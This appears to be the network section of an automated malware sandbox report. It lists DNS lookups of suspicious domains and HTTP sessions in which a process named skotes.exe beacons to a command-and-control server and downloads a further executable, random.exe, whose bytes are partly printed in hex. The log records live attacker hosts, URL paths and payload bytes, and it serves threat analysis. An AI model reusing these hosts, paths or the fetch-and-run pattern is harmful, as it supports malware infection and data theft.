Nov 23, 2024 13:29:38.839530945 CET	192.168.2.6	1.1.1.1	0xd9fe	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 13:29:38.839571953 CET	192.168.2.6	1.1.1.1	0x1937	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:52.939668894 CET	192.168.2.6	1.1.1.1	0xdab1	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:52.939668894 CET	192.168.2.6	1.1.1.1	0x1f7b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:52.941890001 CET	192.168.2.6	1.1.1.1	0x87a2	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:53.224776030 CET	192.168.2.6	1.1.1.1	0x785f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 13:29:53.721775055 CET	192.168.2.6	1.1.1.1	0xc4a4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:53.853902102 CET	192.168.2.6	1.1.1.1	0x99c3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:29:54.977385998 CET	192.168.2.6	1.1.1.1	0x6f1	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:30:21.980726004 CET	192.168.2.6	1.1.1.1	0x772b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:30:22.134340048 CET	192.168.2.6	1.1.1.1	0x25d7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:30:53.988236904 CET	192.168.2.6	1.1.1.1	0x3c0c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:32:38.540863037 CET	192.168.2.6	1.1.1.1	0x3847	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:32:57.395600080 CET	192.168.2.6	1.1.1.1	0x58bb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:32:57.747818947 CET	192.168.2.6	1.1.1.1	0x58bb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.098089933 CET	192.168.2.6	1.1.1.1	0xd726	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.098090887 CET	192.168.2.6	1.1.1.1	0x3b1e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.098608017 CET	192.168.2.6	1.1.1.1	0x5b44	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.240135908 CET	192.168.2.6	1.1.1.1	0x9b05	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 13:34:53.246639013 CET	192.168.2.6	1.1.1.1	0xd15c	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 13:34:54.474704027 CET	192.168.2.6	1.1.1.1	0xed1d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:35:20.365426064 CET	192.168.2.6	1.1.1.1	0x8ec4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:37:00.591867924 CET	192.168.2.6	1.1.1.1	0x8ebb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 13:28:07.896284103 CET	1.1.1.1	192.168.2.6	0x8549	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:28:07.896284103 CET	1.1.1.1	192.168.2.6	0x8549	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:20.714054108 CET	1.1.1.1	192.168.2.6	0xce19	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:34.748260021 CET	1.1.1.1	192.168.2.6	0x4284	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:34.748260021 CET	1.1.1.1	192.168.2.6	0x4284	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:52.713150024 CET	1.1.1.1	192.168.2.6	0x4602	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:52.715049982 CET	1.1.1.1	192.168.2.6	0x900f	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 13:28:57.458863974 CET	1.1.1.1	192.168.2.6	0xc299	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:57.622808933 CET	1.1.1.1	192.168.2.6	0x9b4c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.737498999 CET	1.1.1.1	192.168.2.6	0x141f	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.738548040 CET	1.1.1.1	192.168.2.6	0x39c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:28:59.738548040 CET	1.1.1.1	192.168.2.6	0x39c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.878360987 CET	1.1.1.1	192.168.2.6	0x71bd	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:28:59.883980989 CET	1.1.1.1	192.168.2.6	0xb07e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:00.029094934 CET	1.1.1.1	192.168.2.6	0xb63e	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 13:29:00.029191017 CET	1.1.1.1	192.168.2.6	0x54d3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 13:29:02.420500040 CET	1.1.1.1	192.168.2.6	0x7a32	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.421282053 CET	1.1.1.1	192.168.2.6	0xeded	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.421282053 CET	1.1.1.1	192.168.2.6	0xeded	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.446712017 CET	1.1.1.1	192.168.2.6	0x7356	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:02.584918022 CET	1.1.1.1	192.168.2.6	0x1ab8	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.197630882 CET	1.1.1.1	192.168.2.6	0xb81f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:03.197630882 CET	1.1.1.1	192.168.2.6	0xb81f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.197665930 CET	1.1.1.1	192.168.2.6	0x2ef5	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:03.197665930 CET	1.1.1.1	192.168.2.6	0x2ef5	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.440457106 CET	1.1.1.1	192.168.2.6	0x7763	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.443906069 CET	1.1.1.1	192.168.2.6	0xb3f3	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:03.443906069 CET	1.1.1.1	192.168.2.6	0xb3f3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.516546011 CET	1.1.1.1	192.168.2.6	0x3f04	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:03.516546011 CET	1.1.1.1	192.168.2.6	0x3f04	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:03.516546011 CET	1.1.1.1	192.168.2.6	0x3f04	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.657675028 CET	1.1.1.1	192.168.2.6	0x7423	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:03.682599068 CET	1.1.1.1	192.168.2.6	0x3198	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:04.059146881 CET	1.1.1.1	192.168.2.6	0x3a73	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 13:29:04.712722063 CET	1.1.1.1	192.168.2.6	0x5287	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:18.364331007 CET	1.1.1.1	192.168.2.6	0x93af	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:18.364363909 CET	1.1.1.1	192.168.2.6	0x93af	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:18.438041925 CET	1.1.1.1	192.168.2.6	0x93af	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:23.735759974 CET	1.1.1.1	192.168.2.6	0xe5ea	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:23.735781908 CET	1.1.1.1	192.168.2.6	0xe5ea	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:31.721390963 CET	1.1.1.1	192.168.2.6	0x2723	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 13:29:31.722460985 CET	1.1.1.1	192.168.2.6	0xf7e1	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.232927084 CET	1.1.1.1	192.168.2.6	0x139c	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.234390020 CET	1.1.1.1	192.168.2.6	0x139c	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.400497913 CET	1.1.1.1	192.168.2.6	0x97f3	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.584423065 CET	1.1.1.1	192.168.2.6	0xecc2	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.775429010 CET	1.1.1.1	192.168.2.6	0xd5b4	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.962045908 CET	1.1.1.1	192.168.2.6	0x1937	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.962083101 CET	1.1.1.1	192.168.2.6	0x1937	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:38.983664036 CET	1.1.1.1	192.168.2.6	0x1937	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:53.085083008 CET	1.1.1.1	192.168.2.6	0x1f7b	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:53.086064100 CET	1.1.1.1	192.168.2.6	0xdab1	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:53.086064100 CET	1.1.1.1	192.168.2.6	0xdab1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:53.814289093 CET	1.1.1.1	192.168.2.6	0x2c36	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:53.814289093 CET	1.1.1.1	192.168.2.6	0x2c36	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:29:55.123038054 CET	1.1.1.1	192.168.2.6	0x6f1	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:29:55.123038054 CET	1.1.1.1	192.168.2.6	0x6f1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:30:22.118061066 CET	1.1.1.1	192.168.2.6	0x508c	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:30:22.118061066 CET	1.1.1.1	192.168.2.6	0x508c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:30:22.124310970 CET	1.1.1.1	192.168.2.6	0x772b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:30:54.128931999 CET	1.1.1.1	192.168.2.6	0x3c0c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:30:54.128931999 CET	1.1.1.1	192.168.2.6	0x3c0c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:32:38.684643030 CET	1.1.1.1	192.168.2.6	0x3847	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:32:38.684643030 CET	1.1.1.1	192.168.2.6	0x3847	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:32:57.809576988 CET	1.1.1.1	192.168.2.6	0x58bb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:32:57.809576988 CET	1.1.1.1	192.168.2.6	0x58bb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:32:57.886322975 CET	1.1.1.1	192.168.2.6	0x58bb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:32:57.886322975 CET	1.1.1.1	192.168.2.6	0x58bb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.235680103 CET	1.1.1.1	192.168.2.6	0xd726	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.244252920 CET	1.1.1.1	192.168.2.6	0x3b1e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:34:53.244252920 CET	1.1.1.1	192.168.2.6	0x3b1e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:53.245503902 CET	1.1.1.1	192.168.2.6	0x5b44	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:34:54.614176035 CET	1.1.1.1	192.168.2.6	0xed1d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:34:54.614176035 CET	1.1.1.1	192.168.2.6	0xed1d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:35:20.516783953 CET	1.1.1.1	192.168.2.6	0x8ec4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:35:20.516783953 CET	1.1.1.1	192.168.2.6	0x8ec4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 13:37:00.838975906 CET	1.1.1.1	192.168.2.6	0x8ebb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 13:37:00.838975906 CET	1.1.1.1	192.168.2.6	0x8ebb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:04.539971113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:28:05.927504063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49721	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:07.582640886 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:28:08.956794977 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 38 34 33 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1008432001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49729	31.41.244.11	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:09.083497047 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 13:28:10.465671062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:10 GMT Content-Type: application/octet-stream Content-Length: 4395520 Last-Modified: Sat, 23 Nov 2024 10:15:30 GMT Connection: keep-alive ETag: "6741ab42-431200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 00 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 c5 00 00 04 00 00 fe 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ef c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ef c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@0C@ _qs px'@.rsrc p'@.idata q'@ 8q'@ajtwcbtw``'@jmacswzeB@.taggant0"B@
Nov 23, 2024 13:28:10.465729952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:10.465748072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:10.465811014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:10.465828896 CET	1236	IN	Data Raw: ba d7 85 a3 70 48 7d 9f d5 02 3e d5 99 f3 90 0c bd 09 91 e7 9d 4a 7c 22 8a 9d fd 1e 21 d0 b5 40 91 bf d7 37 df 8f ac 43 dc 0b d4 3b c2 d7 8b aa 93 d0 6e fc 70 4a 20 9e f7 eb bc eb f2 eb 94 8c 7e e1 45 29 56 71 6e 63 0f a7 8e ea f9 49 30 33 ed ea Data Ascii: pH}>J\|"!@7C;npJ ~E)VqncI03]RzG! NXctQ\|nTyM.m~s%k?>Iehjg`hDa{n"wZjX#a{c#v7LNFR@ZRvC2(guz2w*CrZjv= ZV2n>
Nov 23, 2024 13:28:10.465845108 CET	1236	IN	Data Raw: 0f 79 b2 5d 99 3d c5 7a 99 e2 29 2b e2 67 05 73 fd 41 91 5f 6d 10 fa e0 5e 29 5d 80 c3 84 4d 53 19 34 64 0e 2a 49 d8 6c 26 0c 1e 54 29 34 ed 52 15 ae 12 59 13 2f 7d 3f 4c ce 33 0b e5 38 04 49 d6 f5 7a 42 15 9a 91 74 27 d6 ed 4c 05 1c 93 22 7b a9 Data Ascii: y]=z)+gsA_m^)]MS4d*Il&T)4RY/}?L38IzBt'L"{LPzDOZh!P[COycc46(hL:0O}Sy;p~xAk(~5_V?5Jjyjy,IkG)x~+x[5pxqp;%gNCJp(Dy
Nov 23, 2024 13:28:10.465862036 CET	1236	IN	Data Raw: fa cb 52 b8 0e 5a a6 d2 b5 77 9e 14 32 93 ec d2 02 92 a9 ad 97 fb ae a6 52 a4 3a 15 67 52 08 f1 f9 45 cf ab 10 61 54 65 91 9e c5 bf cc 24 7d 28 87 9b e4 e9 95 a3 ec 75 aa 47 7c fa 2d 93 60 e0 ba d2 45 4b 09 0a 21 d3 c6 21 cd a2 ba 51 28 8a 0a 00 Data Ascii: RZw2R:gREaTe$}(uG\|-`EK!!Q(h'c7=MVZ/(,6u6!OvSCuh]5yl-!oQ$CZnOc'"M+1[~,z5BPsmEku)@uC)c^#NmC N
Nov 23, 2024 13:28:10.465924978 CET	1236	IN	Data Raw: 9d a7 08 31 c9 d9 4f 4d 45 5f 15 43 15 59 7d f6 ef 04 8c dd 1a 77 14 1f 9b bb 44 e1 cd 04 fe 01 8b f8 bf 0f cb b1 76 bc d3 c8 c5 51 09 1a 15 f0 d0 82 25 fb c2 48 fc 66 d7 fd 37 5b 41 60 48 18 35 7d 82 ed f9 af 27 66 46 ba df 6b f9 57 42 74 bc fe Data Ascii: 1OME_CY}wDvQ%Hf7[A`H5}'fFkWBtK4;7U`BQsgXQ[=EQpylkE/e$d}Ik]\|,^rO/fXzEP7c/wnH.FBgzHFFplaD@/
Nov 23, 2024 13:28:10.465940952 CET	1236	IN	Data Raw: 0f d2 84 24 30 30 b3 b0 d6 59 cb 1c b8 8f 8b 6a 09 94 18 58 e4 d2 c0 84 64 09 81 c1 b5 93 ba 8b 34 d9 49 32 a8 5b e0 de de a9 d2 e9 10 56 2a 79 5d b2 fd a7 45 73 f0 08 f9 e0 ab 4c 2d 4d ec b8 b5 6b 75 c1 03 29 39 3c fd eb 4b f7 f0 de 3c a6 6f 1c Data Ascii: $00YjXd4I2[Vy]EsL-Mku)9<K<ozo4mc{92<jN[Cyr+=W)l_Xv\=mnDg9s=p8RG,;FTQoN74pcx>{xUkNI^}ve/CEz
Nov 23, 2024 13:28:10.465955973 CET	1236	IN	Data Raw: 02 4c 68 e9 b7 f3 f4 0d 35 39 eb de b9 03 81 1b 5b 18 98 77 0a b3 90 67 e3 d1 8c 6a 19 c3 d4 e0 6f bf fc ff 74 75 f6 f2 d4 7b f2 24 23 fb 72 e2 8f 1e f7 48 7d 5a 9f 0c 69 32 c5 03 fb 91 01 af 81 68 ee 8c 2c 5e 74 c4 7b 3e b2 55 d5 8e be c4 d6 23 Data Ascii: Lh59[wgjotu{$#rH}Zi2h,^t{>U#H(5iZ,M`fk$k?bnG1=p/mSf<:v*$/@<Vy$xBe\|~gsb7d97=,j ~ zD_nfy\|#XaO
